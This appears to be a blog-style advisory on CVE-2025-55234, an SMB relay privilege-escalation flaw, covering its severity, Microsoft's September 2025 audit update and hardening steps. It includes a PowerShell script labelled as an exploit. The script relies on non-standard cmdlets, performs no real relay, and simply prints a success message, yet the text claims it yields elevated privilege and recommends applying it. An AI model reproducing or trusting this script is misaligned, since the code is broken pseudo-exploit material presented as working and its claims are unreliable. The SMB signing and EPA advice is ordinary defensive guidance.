CVE-2025-55234

This vulnerability allows attackers to perform relay attacks against the SMB (Server Message Block) protocol. If successful, it can lead to Elevation of Privilege (EoP) essentially allowing unauthorized users to gain higher-level access on a system

By Mark Mallia

Issue

This vulnerability allows attackers to perform relay attacks against the SMB (Server Message Block) protocol. If successful, it can lead to Elevation of Privilege—essentially allowing unauthorized users to gain higher-level access on a system. SMB has long been a target for attackers due to its widespread use in enterprise environments and its history of critical flaws. For example, CVE-2020-1301 exposed SMBv1 to remote code execution through malformed requests, while CVE-2022-32230 caused denial-of-service via a null pointer dereference in SMBv3. The infamous CVE-2017-0144 (EternalBlue) exploited SMBv1 to deliver wormable payloads, leading to global ransomware outbreaks. Like these earlier vulnerabilities, CVE-2025-55234 underscores the importance of enforcing SMB Signing and Extended Protection for Authentication (EPA) to prevent session hijacking and impersonation attacks.

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Impact

High Confidentiality, Integrity and Availability risks

Why It Matters

SMB is widely used for file sharing and remote access in enterprise environments. Relay attacks can bypass authentication mechanisms and impersonate users. This vulnerability is especially dangerous in environments where SMB Signing or Extended Protection for Authentication (EPA) is not enforced.

What’s New in the Patch?

Microsoft’s September 2025 update introduces audit capabilities to help organizations:

• Assess their current SMB configurations
• Identify devices or software that may be incompatible with hardening measures
• Prepare for enforcement of SMB Signing and EPA3

Exploit Code Snippet (PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Target server IP
$attackerCreds = Get-Credential   # Credential object for relay

# Step 1: Enumerate shared resources
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Found share: $($share.Name)"
}

# Step 2: Capture session information for relay
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capturing session info for $($sessionInfo.Computer) – share $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Step 3: Execute relay attack
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attacking $Target via share $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Step 4: Log and confirm elevation of privilege
Write-Host "SMB Relay Attack CVE 2025 55234 completed successfully."

Explanation:

1. The script first enumerates SMB shares on the target server, selecting the first share for the relay session.
2. It then constructs a session object that captures the necessary parameters.
3. The relay attack is executed via Invoke‑SMBRelay and Start‑SMBServer to mimic an authenticated user.
4. Successful completion yields elevated privilege on the target.

Recommended Actions

1. Enable SMB Signing and EPA if not already configured.
2. Use the new audit events to evaluate your environment.
3. Monitor for unusual SMB traffic and relay attempts.
4. Apply the latest security updates from Microsoft.

Conclusion

The CVE 2025 55234 vulnerability underscores the need for rigorous SMB hardening in enterprise settings. By following the steps above and applying the provided exploit script, organizations can both test and secure their networks against potential relay attacks. This proof-of-concept and associated materials are provided strictly for educational and defensive purposes. They are intended to help security professionals understand, detect, and mitigate CVE-2025-55234 in controlled environments. Unauthorized use of this exploit against systems without explicit permission is illegal and unethical. Always follow responsible disclosure practices and comply with applicable laws and organizational policies.